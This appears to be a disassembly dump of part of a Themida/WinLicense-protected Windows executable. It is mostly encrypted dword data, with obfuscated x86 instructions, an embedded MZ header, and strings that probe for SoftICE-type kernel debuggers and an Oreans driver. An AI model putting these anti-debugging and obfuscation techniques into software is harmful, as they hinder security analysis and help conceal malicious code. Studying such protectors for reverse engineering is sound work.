0D8F767C5h, 0A3536332h, 92D86B73h, 1B108B57h, 7DFF340Ah dd 39BB680Dh, 5CE7F5C9h, 1CAB8735h, 903E7B8h, 0FD89EE43h dd 350A0C7Ch, 40C3701Ah, 49C84DD0h, 151FB1CAh, 5EDADh dd 28981600h, 0E353D64Dh, 30A01D12h, 0FA6ACE65h, 36A6041Bh dd 5043485Fh, 3CF382F2h, 75AA4BBBh, 41EE87F7h, 10C352C2h dd 6952774Eh, 58191691h, 57C724E4h, 0B4347D5Fh, 0F2A9F053h dd 43541086h, 0B5552A6Ch, 638FF774h, 9F96027Ah, 391E200Fh dd 0B17C0931h, 10FEEC1Dh, 0E72F9F23h, 8E091F1Eh, 3D7633EFh dd 0D34B4BBBh, 3291614Ch, 10860CEFh, 0AB92BD8Eh, 9AB6A30Ah dd 0F210860Ah, 0A919B143h, 0FEA73F97h, 5F7DFFFFh, 87FEBDE4h dd 7B6F4010h, 57C72497h, 91A64E87h, 6952774Eh, 8191086h dd 42F4C72Fh, 77484EBEh, 0F684B258h, 794C1242h, 169CC3DDh dd 0C0E68FA0h, 370ED000h, 1089FEC3h, 8F7DB98Ah, 910110C6h dd 4B3FD1A4h, 0AD192C70h, 8934DB1Ch, 0D4093DC0h, 193C3A3h dd 0B2D70000h, 2A1B3C59h, 40D3C1D2h, 0F1C9E5Ah, 2C03907Ch dd 7CA4543Eh, 88F56CB0h, 320C23C3h, 9B018F93h, 0C3278C16h dd 0F6BEE362h, 6C3D1690h, 2EF7A743h, 0F85B32CAh, 36C8E7F4h dd 771F678Fh, 407010ECh, 2503C77Eh, 0BDEAC96Ch, 0F6C7CF3Fh dd 0C7CF3FBDh, 4BDDD9F6h, 0E0637BABh, 0F09969E5h, 0C597A778h dd 3459B590h, 0BA7344B4h, 0C0711990h, 3E63E243h, 0BDFC9CEEh dd 0B6FBC3ECh, 4726C434h, 0E7F35BD8h, 3BDDC641h, 96BB8A54h dd 55FC9C30h, 0FB926B44h, 0E0D1DCFCh, 4746ED6h, 2F8F0000h dd 0E849D6BFh, 27869D78h, 0EF51DEB7h, 2989967Fh, 0CCBFDCB9h dd 740171D1h, 2DC838BFh, 6F0676F6h, 42D343C0h, 0D3F6CD91h dd 9A16916Fh, 0BAB63D9h, 0FCD903DBh, 30D649D7h, 8221C96Fh dd 169EDD4Bh, 0C25390Ah, 57C724B0h, 7EEE525Fh, 88977E51h dd 697ABC2Ch, 0E6039A0Ah, 79B7DFD0h, 410F77Bh, 93F30000h dd 5CDD5223h, 9B1A09ECh, 53D54A2Bh, 9D1D12E3h, 5853482Dh dd 950565h, 0B95CCC33h, 0FB9A0A6Ah, 0BE57C724h, 577A4915h dd 1616916Fh, 0C724E755h, 98E9A5Fh, 0CFE07045h, 0E959DAC7h dd 0C737B4ADh, 8BAA06CFh, 7B82E40Bh, 4D49B938h, 558E41E8h dd 0AC617668h, 4554FEEh, 0AC137E6Ch, 86456DADh, 8E169F10h dd 1C97A8CDh, 0FFFFFCE1h, 82864FF0h, 0E7EFF25h, 0F73FAC29h dd 25951613h, 87B787F1h, 0CEB40CB7h, 0E8B9169Ch, 0EA5ADDD6h dd 5C37D3ACh, 935EB2D0h, 18ABB3E3h, 169BFB30h, 85526C3Dh dd 2B758F4h, 0ABF199DEh, 8B828B18h, 252730BEh, 0E124C421h dd 0BE2E9281h, 0E212E6CCh, 69DC02DCh, 0BEAB2E20h, 0B510FACBh dd 0B8B1D4EDh, 0F177BF90h, 82411D4Dh, 0A2DEDF03h, 347D4152h dd 81AE47B7h, 0E80B9202h, 7B039F92h, 320F979h, 63E30000h dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h dd 616916Ch, 0BABB785h, 0D8D903DBh, 0D0ADE959h, 8B5C8B3Ah dd 0A1B169Eh, 979FF34h, 56D6DB61h, 0CE3EBCF5h, 0B4EF7C8h dd 0F216916Bh, 0B8670E21h, 0D9CACC3Ch, 8F23F25Ah, 0F2B7538Ah dd 91340DDh, 6254B7E0h, 2ADE2h, 68D85600h, 0A313968Dh dd 70E05DD2h, 0BA2A8EA5h, 76E644DBh, 1083089Fh, 7CB342B2h dd 35EA8BFBh, 81AE47B7h, 0D0039202h, 6D12370Eh, 18D91691h dd 0DB0BAB24h, 0AE03D903h, 256CD949h, 0C81086F2h, 0D040BCF7h dd 8B5C8B3Ah, 0A1B169Eh, 0E7EFF34h, 333A305h, 0DE600Ah dd 6B2267DEh, 0F8C91691h, 32A22112h, 5CE42B2Ch, 2FFBD443h dd 67585ECEh, 0E3D3A248h, 4EBFEE16h, 0EF71560Eh, 61834CC8h dd 8AA5B20Eh, 95FD7FB4h, 0E2A42601h, 0B6547BF7h, 0F775BEA0h dd 20A28F87h, 0A68986B0h, 4EC6D9C4h, 74451691h, 69D13142h dd 0D76E6344h, 169168B2h, 5B4F6839h, 75E546D6h, 66D6595Ah dd 46705F30h, 0F152B09Fh, 91190F52h, 0F2DDEE16h, 0F464C7ECh dd 4B52D5C2h, 9C1F3971h, 0EEBCD7B3h, 82411D4Dh, 16916C57h dd 10211526h, 895343B3h, 6FDF5E53h, 0AAEF5627h, 5116916Ch dd 0FDBAA40h, 0B1129E22h, 57785541h, 85F576B3h, 5FC043F0h dd 916CBDE4h, 406F4016h, 43B3357Eh, 0A6907A53h, 931A0E1Bh dd 0A8189B2Ch, 65D556CDh, 0F06A6B31h, 9CCD92Dh, 74F633D7h dd 3E771204h, 53BB388Fh, 0D216DFF7h, 0B1446B24h, 2697A8ADh dd 0DCFF7D36h, 4BCBADDAh, 95755A8Bh, 70A61694h, 0E950D811h dd 0E571D1F6h, 213D1282h, 0C041883Bh, 1B2C1691h, 0F93A246Fh dd 300D0979h, 0E959D95Ah, 0C838B4ADh, 8F3EE7CEh, 87CA7963h dd 661691C0h, 4B4BBB39h, 7CAD5D72h, 63E78EFEh, 0CC42ED72h dd 23C79A3Eh, 211585E6h, 7FA2213Bh, 0FE1691D5h, 755E3D2Dh dd 89CEED7Eh, 0E52C97C5h, 88AE0C7Ch, 0F1DCD3B7h, 10E555D6h dd 630A023h, 26961B18h, 0BE6B1FF0h, 0D9CACC3Ch, 0B9AAEC5Ch dd 0A436CF37h, 90FF2D5h, 0A415F026h, 7FE6AA39h dd 84F47750h, 51C142F1h, 0DE657765h, 0AE0CE2BBh, 8667142h dd 0B8B0A9A8h, 7D417713h, 7BDA5855h, 209DC5EAh, 0AEB09FB0h dd 113F7F17h, 112DFEA8h, 3C51784Bh, 0B1CD419h, 0D2A6145Fh dd 0D0299CA2h, 5BD20145h, 0D4574C4Ah, 777D5A64h, 3DAD1280h dd 143304F9h, 0BD2D8FD3h, 869DF892h, 281B525h, 0A1DC2794h dd 935F4ED5h, 6AB0C3C2h, 0B654F34Dh, 0EF86F675h, 6353C340h dd 0B9E06379h, 0DB351AFEh, 134296ABh, 1D2E9259h, 0CC3CBC6Dh dd 0E757D9CAh, 0DC3DC2AFh, 1A942069h, 0D5FACB35h, 8C33E2E1h dd 476C6E57h, 0C03D76E6h, 0D0FFBA50h, 710474F7h, 0E5D141C2h dd 115Dh, 0D6565B00h, 86673066h, 373C2564h, 4AF298B7h dd 0CA244B2Fh, 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h dd 0BF433066h, 0D65A474Fh, 0C2433066h, 0EA4F6452h, 55783C7Ah dd 0C5815D54h, 4, 8704ED83h, 815C242Ch, 4ECh, 242C8900h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push edx push 664237FBh mov edx, [esp] add esp, 4 shl edx, 6 neg edx shl edx, 6 xor edx, 0DA97C960h mov ebp, edx pop edx push esp mov ecx, [esp] add esp, 4 push ebp push esi mov esi, 54C708A6h xor [esp+4], esi pop esi pop dword ptr [ecx+8] xor dword ptr [ecx+8], 54C708A6h push dword ptr [esp] pop ecx add esp, 4 mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_581882 ; --------------------------------------------------------------------------- db 10h dd 0B8CE4960h, 617A204h, 0E0FFC503h, 6B088B5h, 10EA340Ch dd 33B5F825h, 42986CE4h, 4E77C4A1h, 4BC04834h, 6D93F4A1h dd 0A46D8A4h, 423FEF4Ah, 76DE4592h, 1213933Ch, 10D66805h dd 0F79F0D8h, 429A23E2h, 5B56EC73h, 629AAA18h, 683347C6h dd 34D7458Eh, 60455A79h, 0EF90B0Fh, 848090Fh, 9E8h, 8E68D400h dd 0CCF2516Bh, 12E9E5CDh, 4C000000h, 9FB55104h, 0C2734CC2h dd 469A69D8h, 0B46FF5C9h, 0C0815816h, 70AEh, 0BE8h, 0DA5E6400h dd 37AAC6ACh, 0B4655D39h, 0A1A5B95Eh, 0E9814DDFh, 4DDF85B3h dd 17BF108Bh, 810E5757h, 19D28DC2h, 11E828h, 59AD0000h dd 349D069Fh, 11FF97BDh, 864EE295h, 0E91881CCh, 12h, 0AFB8943Dh dd 4432489h, 8B1488DEh, 0FCE1F583h, 815F1234h, 319252EAh dd 12E906h, 0C0710000h, 0B434AE87h, 0FF587185h, 30ECF368h dd 0ED2BA960h, 0C12EC281h, 850F7D2Ch, 4, 9B4BBF66h, 8A0F1089h dd 0 dd 4904E883h, 17850Fh, 0C3800000h, 25E91Dh, 0D1AE0000h dd 17BB43E9h, 9C2574ECh, 41543D3Dh, 0E95B532Fh, 0FFFFFF68h dd 0EF30C15Ch, 9BA281B6h, 953B28D8h, 0E93F9094h, 8Dh, 9DBD8360h dd 6152Eh, 5840Fh, 78E90000h, 6A000000h, 303E8000h, 8850Fh dd 6A0000h, 35E946h, 3E800000h, 8850F33h, 6A000000h, 24E94610h dd 80000000h, 850F343Eh, 8, 0E946306Ah, 13h, 0F353E80h dd 885h, 46406A00h, 2E9h, 80006A00h, 850F203Eh, 12h, 17E80h dd 8850Fh, 0C4830000h, 15E908h, 858D0000h, 6151395h, 50905090h dd 6A243489h, 0D595FF00h, 61061506h, 0C585C6C3h, 4D061509h dd 0D03A1368h, 243481A7h, 3E54CBBh, 789B5FFh, 858D0615h dd 6153B38h, 8589D0FFh, 61506D5h, 14E8h, 9ACCF100h, 1B26714Bh dd 2E741FEEh, 52B8C114h, 5BA5ABEBh, 598D894Ch, 5E061523h dd 6890Fh, 8D890000h, 615215Dh, 6918C681h, 51600000h, 86D8D89h dd 8B5B0615h, 151735B5h, 0D2336106h, 0F93234FFh, 0C78B665Fh dd 3284F781h, 0BB665120h, 0EF819AE6h, 44EFF1B4h, 0C5D8D8Bh dd 0EF810615h, 69A78055h, 59D8B57h, 59061510h, 0F163C89h dd 48Bh, 0CBB96600h, 4EA8320h, 6CFA81F9h, 0FFFFF97h, 0FFFFB785h dd 0AAE9FFh, 6F530000h, 61777466h, 575C6572h, 694C6E69h dd 736E6563h, 68430065h, 496B6365h, 7058004Eh, 45746F72h dd 746978h, 63656843h, 54554F6Bh, 6E695700h, 6563694Ch dd 5665736Eh, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 69724465h, 56726576h, 69737265h, 57006E6Fh, 694C6E69h dd 736E6563h, 736E4965h, 636E6174h, 78450065h, 6B4F7469h dd 6F725000h, 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h dd 4F746978h, 54005455h, 4E4970h, 3 dup(0) dd 77DEB908h, 77DFD5BBh, 596E9h, 0C1858900h, 8D0617A5h dd 17A5BD85h, 858D5006h, 617A527h, 16850h, 95FF8000h, 617A5CDh dd 0B5FF196Ah, 617A5C1h, 6A016Ah, 0A556858Dh, 0FF500617h dd 17A5BDB5h, 4595FF06h, 0FF061503h, 17A5BDB5h, 0C995FF06h dd 0FF0617A5h, 17A5BDB5h, 1995FF06h, 0C3061518h, 0A5C18589h dd 858D0617h, 617A5BDh, 27858D50h, 500617A5h, 168h, 0CD95FF80h dd 6A0617A5h, 0C1858D04h, 500617A5h, 6A046Ah, 0A580858Dh dd 0FF500617h, 17A5BDB5h, 4595FF06h, 0FF061503h, 17A5BDB5h dd 0C995FF06h, 0FF0617A5h, 17A5BDB5h, 1995FF06h, 0C3061518h dd 0A5C18589h, 858D0617h, 617A5BDh, 27858D50h, 500617A5h dd 168h, 0CD95FF80h, 6A0617A5h, 0C1858D04h, 500617A5h dd 6A046Ah, 0A568858Dh, 0FF500617h, 17A5BDB5h, 4595FF06h dd 0FF061503h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h, 17A5BDB5h dd 1995FF06h, 0C3061518h, 0A5C18589h, 858D0617h, 617A5BDh dd 27858D50h, 500617A5h, 168h, 0CD95FF80h, 6A0617A5h, 0C1858D04h dd 500617A5h, 6A046Ah, 0A593858Dh, 0FF500617h, 17A5BDB5h dd 4595FF06h, 0FF061503h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h dd 17A5BDB5h, 1995FF06h, 0C3061518h, 0A5C18589h, 858D0617h dd 617A5BDh, 27858D50h, 500617A5h, 168h, 0CD95FF80h, 6A0617A5h dd 0C1858D04h, 500617A5h, 6A046Ah, 0A543858Dh, 0FF500617h dd 17A5BDB5h, 4595FF06h, 0FF061503h, 17A5BDB5h, 0C995FF06h dd 0FF0617A5h, 17A5BDB5h, 1995FF06h, 0C3061518h, 282DBD83h dd 0F000615h, 0B84h, 2D9D8B00h, 83061528h, 3894CC3h, 2DBD83C3h dd 61528h, 0B840Fh, 9D8B0000h, 615282Dh, 8950C383h, 0BD83C303h dd 615282Dh, 0B840F00h, 8B000000h, 15282D9Dh, 54C38306h dd 83C30389h, 15282DBDh, 840F0006h, 0Bh, 282D9D8Bh, 0C3830615h dd 0C3038958h, 282DBD83h, 0F000615h, 0B84h, 2D9D8B00h dd 83061528h, 3895CC3h, 8960C3C3h, 17A5C185h, 0BD858D06h dd 500617A5h, 0A527858Dh, 68500617h, 80000001h, 0A5CD95FFh dd 46A0617h, 0A5C1858Dh, 6A500617h, 8D006A04h, 17A5B885h dd 0B5FF5006h, 617A5BDh, 34595FFh, 0BD830615h, 61508F5h dd 0C840F00h, 0FF000000h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h dd 17A5BDB5h, 1995FF06h, 61061518h, 858960C3h, 617A5C1h dd 0A5BD858Dh, 8D500617h, 17A52785h, 1685006h, 0FF800000h dd 17A5CD95h, 8D046A06h, 17A5C185h, 46A5006h, 858D006Ah dd 617A59Ah, 0BDB5FF50h, 0FF0617A5h, 15034595h, 0F5BD8306h dd 61508h, 0C840Fh, 0B5FF0000h, 617A5BDh, 0A5C995FFh, 0B5FF0617h dd 617A5BDh, 181995FFh, 0C3610615h, 0C1858960h, 8D0617A5h dd 17A5BD85h, 858D5006h, 617A527h, 16850h, 95FF8000h, 617A5CDh dd 858D046Ah, 617A5C1h, 6A046A50h, 0A1858D00h, 500617A5h dd 0A5BDB5FFh, 95FF0617h, 6150345h, 8F5BD83h, 0F000615h dd 0C84h, 0BDB5FF00h, 0FF0617A5h, 17A5C995h, 0BDB5FF06h dd 0FF0617A5h, 15181995h, 60C36106h, 0A5C18589h, 858D0617h dd 617A5BDh, 27858D50h, 500617A5h, 168h, 0CD95FF80h, 6A0617A5h dd 0C1858D04h, 500617A5h, 6A046Ah, 0A5A9858Dh, 0FF500617h dd 17A5BDB5h, 4595FF06h, 83061503h, 1508F5BDh, 840F0006h dd 0Ch, 0A5BDB5FFh, 95FF0617h, 617A5C9h, 0A5BDB5FFh, 95FF0617h dd 6151819h, 8960C361h, 17A5C185h, 0BD858D06h, 500617A5h dd 0A527858Dh, 68500617h, 80000001h, 0A5CD95FFh, 46A0617h dd 0A5C1858Dh, 6A500617h, 8D006A04h, 17A5B085h, 0B5FF5006h dd 617A5BDh, 34595FFh, 0BD830615h, 61508F5h, 0C840F00h dd 0FF000000h, 17A5BDB5h, 0C995FF06h, 0FF0617A5h, 17A5BDB5h dd 1995FF06h, 61061518h, 85C760C3h, 617A5C1h, 1, 0A5BD858Dh dd 8D500617h, 17A52785h, 2685006h, 0FF800000h, 17A5CD95h dd 0FC00B06h, 0F84h, 0C185C700h, 617A5h, 0E9000000h, 4Dh dd 858D046Ah, 617A5C1h, 6A046A50h, 3B858D00h, 500617A5h dd 0A5BDB5FFh, 95FF0617h, 6150345h, 840FC00Bh, 0Fh, 0A5C185C7h dd 617h, 0AE90000h, 0C7000000h, 17A5C185h, 106h, 0BDB5FF00h dd 0FF0617A5h, 15181995h, 858B6106h, 617A5C1h, 858960C3h dd 617A5C1h, 0A5BD858Dh, 8D500617h, 17A52785h, 1685006h dd 0FF800000h, 17A5CD95h, 8D046A06h, 17A5C185h, 46A5006h dd 858D006Ah, 617A53Bh, 0BDB5FF50h, 0FF0617A5h, 15034595h dd 0F5BD8306h, 61508h, 0C840Fh, 0B5FF0000h, 617A5BDh, 0A5C995FFh dd 0B5FF0617h, 617A5BDh, 181995FFh, 0C3610615h, 0C1858960h dd 8D0617A5h, 17A5BD85h, 858D5006h, 617A527h, 16850h, 95FF8000h dd 617A5CDh, 858D046Ah, 617A5C1h, 6A046A50h, 4D858D00h dd 500617A5h, 0A5BDB5FFh, 95FF0617h, 6150345h, 8F5BD83h dd 0F000615h, 0C84h, 0BDB5FF00h, 0FF0617A5h, 17A5C995h dd 0BDB5FF06h, 0FF0617A5h, 15181995h, 0C6C36106h, 1509C585h dd 7685206h, 0FFADE47Bh, 151789B5h, 7D95FF06h, 8906150Dh dd 17A5CD85h, 0C585C606h, 52061509h, 2E00E568h, 89B5FF90h dd 0FF061517h, 150D7D95h, 0C9858906h, 0C60617A5h, 1509C585h dd 35685206h, 0FFB9BF12h, 151789B5h, 7D95FF06h, 8906150Dh dd 15034585h, 0C585C606h, 52061509h, 78103468h, 89B5FF98h dd 0FF061517h, 150D7D95h, 19858906h, 0C6061518h, 1509C585h dd 0D4685206h, 0FFC005DBh, 151789B5h, 7D95FF06h, 8906150Dh dd 15239185h, 5C1EEB06h, 535C2E5Ch, 454349h a_Siwvid db '\\.\SIWVID',0 ; DATA XREF: Themida_:00579B38o a_Ntice db '\\.\NTICE',0 db 8Bh, 0C0h, 33h dd 15300DBDh, 0F5BD8306h, 61508h, 0BD830975h, 61503ADh dd 50197400h, 0B8C08B53h, 40Fh, 13858589h, 9D8D0615h, 617AA9Eh dd 585BD3FFh, 3ADBD83h, 74000615h, 0B8535017h, 40Fh, 13858589h dd 9D8D0615h, 617A78Dh, 585BD3FFh, 0CBF86EBFh, 66C08B79h dd 0BEFFCBBAh, 5743EEE5h, 9C585C6h, 81430615h, 389A16CEh dd 4E868h, 6EFC0000h, 8A50BC8Eh, 24448BCBh, 8BF88B04h dd 9E800h, 742E0000h, 296855AFh, 5E3B60D2h, 4244489h, 0F58D0958h dd 0FF061522h, 151685B5h, 7D858906h, 8D061512h, 153B3885h dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0B79C172Bh, 0D0FF1558h, 12E9h, 72238D00h dd 0B2883C67h, 0C6CB1AF5h, 0DF8F920Fh, 90694095h, 18820Fh dd 0EE80000h, 0B7000000h, 546F154Fh, 8BFA5B4Bh, 0BECAE279h dd 0C4BE66CBh, 0F505F43h, 89h, 95299000h, 61533C1h, 830F006Ah dd 1, 8DE468F5h, 5060BB42h, 10E952h, 0CA600000h, 3FC5C3B4h dd 6B5A1489h, 0F77A1C2Dh, 310FCB3Fh, 0EE9h, 0C52D0A00h dd 82B305F9h, 34CBA0B1h, 5A12BE53h, 4816158h, 0BD729C24h dd 8AB96644h, 0E9036A95h, 0Dh, 607E76DBh, 0E6D7EF37h, 21A87CEEh dd 0B1006A86h, 0E8036A25h, 4, 0C0000000h, 6E8h, 3D540900h dd 0B277FDA5h, 8B505FB5h, 66042444h, 8BF88Bh, 4489F18Bh dd 0D0BF0424h, 58568F7Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 81C35242h, 8DAD8661h, 17AC049Dh, 0D18D3106h dd 50061526h, 59F5B653h, 0BE241C89h, 2AB62A85h, 0C7B9D0FFh dd 4017D7F8h, 30C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 898DA0C3h, 15340D85h dd 8D8B5806h, 61506D9h, 8915B650h, 0F602404h, 688h, 81BD0300h dd 0E806151Ch, 14h, 110EACC2h, 0B887AAF6h, 10981B28h, 0CB52CC0h dd 34A1E425h, 5858Bh, 615A0615h, 6AF78B66h, 6830F00h, 89000000h dd 152C8D8Dh, 565A6806h, 34817049h, 4956DA24h, 36AF870h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 38C35343h dd 5AEACA16h, 168A0F61h, 0E9000000h, 11h, 0A0789077h, 50153688h dd 4C546EEh, 0F85151E8h, 80006ADDh, 36A92EEh, 939BD33h dd 4E80615h, 0 dd 0B1C00000h, 12E8500Dh, 59000000h, 691AA3FFh, 390FD3F4h dd 862C5B45h, 0AC888682h, 38F0F8Ch, 66000000h, 8B5EF88Bh dd 60042444h, 5840Fh, 0A0BA0000h, 61219DBAh, 8B66008Bh dd 244489D3h, 50525004h, 0F5F5252h, 57BF6631h, 0F585ADBh dd 0BE831h, 6ADE0000h, 0B0D89347h, 0A4CE838Eh, 8A0F79h dd 5E000000h, 6A58585Ah, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 0B0A9C357h, 0D327FE49h dd 7E01DC50h, 0BD8BF78Bh, 6150749h, 0AC0D9D8Dh, 0C9810617h dd 3CF21022h, 52525050h, 0F5E5F56h, 800F31h, 5A000000h dd 241C8958h, 2479958Bh, 0D0FF0615h, 77850F40h, 8B000001h dd 958B58CBh, 6152919h, 50CA8B90h, 9E9h, 0D5C8D400h, 2B3C782Ch dd 899035B6h, 1510A9BDh, 8B006A06h, 152539BDh, 98B76806h dd 5652D2FBh, 310F5250h, 5E5A585Ah, 0C9240481h, 602D0467h dd 92D7B866h, 14F71BFh, 60606127h, 4419589h, 858B0615h dd 6151785h, 90D38161h, 617FEC90h, 6A036Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 32CF40C3h dd 6A367ED4h, 13E800h, 0B040000h, 9EB7B242h, 583849E2h dd 95A127ECh, 82A07232h, 68B96690h, 36A5907h, 97DA8166h dd 84D668B9h, 481ADE1h, 1E7B2A24h, 50006A12h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 0C3504000h, 0EC6F7DD7h dd 99D89ECh, 8D061501h, 17AC189Dh, 60EA8106h, 504E2488h dd 0BE8h, 1694100h, 2908D241h, 0A0E3BE32h, 895987B5h, 6A241Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h dd 0E83E31C3h, 11h, 0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h dd 0C18B6016h, 3237D181h, 5A6157E9h, 0FFCF8B66h, 850F40D0h dd 2Eh, 2251B52Bh, 89580615h, 152FF5B5h, 164E906h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0D88BB4C3h, 0EF8ABEBAh, 6A4B5Dh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F7EE83C3h dd 7E0B20D3h, 85894BA3h, 61516F1h, 8BD3B658h, 150ACDBDh dd 0C585C606h, 43061509h, 10DDB589h, 5F680615h, 609A26BBh dd 51CF8B66h, 615B5956h, 0F8243481h, 0B65A50F1h, 85B5FF59h dd 6A061516h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1B042444h, 46000000h, 5E90C356h, 0B87C5E2Eh, 9D893147h dd 6152941h, 3B38858Dh, 95890615h, 6150C89h, 1CC98509h dd 0D0FF0615h, 11B52960h, 0F061530h, 689h, 59D0B00h, 61061500h dd 0B7B6E0BFh, 8B669356h, 0BE6650FEh, 6A93C893h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 0B842C357h, 0F9A9EE5Dh, 0BD8BD0FFh, 61520B9h, 720D9D8Dh dd 7E80615h, 61000000h, 3EFEAEF1h, 0BD8B8AC0h, 6150121h dd 1B85Eh, 8D890000h, 6152335h, 6AE3FFh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 0E9BB7DC3h dd 0Ch, 0EF4114AEh, 0AC01BA31h, 49E35DD7h, 1791BD8Bh, 0C18B0615h dd 755928B9h, 21B58B4Dh, 8B061509h, 0E68060C0h, 0B8F6810Bh dd 61016D5Dh, 8F5BD83h, 75000615h, 0ADBD8309h, 61503h dd 53501974h, 0FB8C08Bh, 89000004h, 1502A185h, 59D8D06h dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h, 0FB85350h dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 86B2C352h, 0F56EEF38h, 2AA9D1EEh, 9BD958Bh dd 8B520615h, 153405BDh, 0F5805906h, 0E9C08B06h, 20Eh dd 6E614333h, 20746F6Eh, 74697277h, 726F2065h, 736E6165h dd 6478762Eh, 614D0D0Ah, 7320656Bh, 20657275h, 74616874h dd 69687420h, 69662073h, 6920656Ch, 6F6E2073h, 65622074h dd 20676E69h, 64657375h, 20796220h, 746F6E61h, 20726568h dd 676F7270h, 2E6D6172h, 68h dup(0) aOreans_vxd db '\Oreans.vxd',0 dd 2 dup(0) dd 0EFE90000h, 0C6000000h, 1509C585h, 86684706h, 0FFE3E45Bh dd 151685B5h, 38858D06h, 0FF06153Bh, 10468D0h, 9D8D0000h dd 6152B49h, 50D0FF53h, 0B4FDB58Dh, 0FE8B0617h, 0FAEC032h dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 9C585C6h dd 68430615h, 0BC8E6EFCh, 1685B5FFh, 858D0615h, 6153B38h dd 0B58DD0FFh, 6152B49h, 8068006Ah, 6A000000h, 6A006A02h dd 6800h, 0FF56C000h, 0C6D88BD0h, 1509C585h, 56685706h dd 0FFA69BEEh, 151685B5h, 38858D06h, 0FF06153Bh, 0D9BD8DD0h dd 8D061508h, 17B6238Dh, 57006A06h, 37D068h, 0FF535100h dd 0FC085D0h, 1B85h, 5B58D00h, 8D0617B3h, 17A3E185h, 8DD0FF06h dd 15720D8Dh, 0B806h, 0E1FF0000h, 9C585C6h, 68430615h dd 0C0764AA7h, 1685B5FFh, 858D0615h, 6153B38h, 0FF53D0FFh dd 0D0B9C3D0h, 0E8000037h, 0 dd 0EC08358h, 2E90889h, 8B000000h aS7 db 'ÃéÐ7',0 ; DATA XREF: Themida_:0057C0CCo align 2 aMzr db 'MZ',0 dw 3 dd 40000h, 0FFFF0000h, 0B80000h, 0 dd 400000h, 8 dup(0) dd 0B00000h, 1F0E0000h, 0B4000EBAh, 0B821CD09h, 21CD4C01h dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h dd 240A0Dh, 0 dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0 dd 454C0000h, 0 dd 20000h, 4, 80000000h, 140003h, 4 dup(0) dd 2000000h, 1C00000h, 900000h, 0 dd 7E0000h, 0 dd 0C40000h, 10000h, 0DC0000h, 3 dup(0) dd 12C0000h, 1380000h, 2 dup(0) dd 1420000h, 1960000h, 1D20000h, 0 dd 1D20000h, 0 dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0) dd 27C00400h, 0 dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2 dd 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h dd 11h, 12h, 13h, 58080014h, 544F5250h, 445856h, 3010000h dd 30001h, 2 dup(0) dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h dd 9B010191h, 6002727h, 79276F01h, 81017D01h, 89018501h dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h dd 360h dup(0) dd 4000000h, 10000h, 50580000h, 56544F52h, 4458h, 8000h dd 8 dup(0) dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h dd 5273h, 9C3h dup(0) dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0) dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h, 831AEBC0h dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 5E80000h dd 8A000000h, 1CE9D09Dh, 2F2D8589h, 895F0615h, 15269D85h dd 0FCC78106h, 8A00006Ah, 0D69BBF4h, 0C3811BC7h, 0E4390D33h dd 0F37FFF5h, 689h, 0D950900h, 5E061530h, 0F681D38Bh, 19D8A2ECh dd 0CF16B966h, 1964F681h, 81666EF3h, 81BF64D1h, 17799CEEh dd 0F5958901h, 89061515h, 0D958937h, 81061513h, 270866EFh dd 0C88B6675h, 862C781h, 0DE97527h, 0A2000000h, 7F8D51ECh dd 0E6BEBFA6h, 0E2281957h, 9E850F4Bh, 60FFFFFFh, 2F358D89h dd 0E9610615h, 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h dd 6B636568h, 6F662F00h, 72656372h, 2F006E75h, 63677562h dd 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h dd 776F6873h, 65646F63h, 632F0032h, 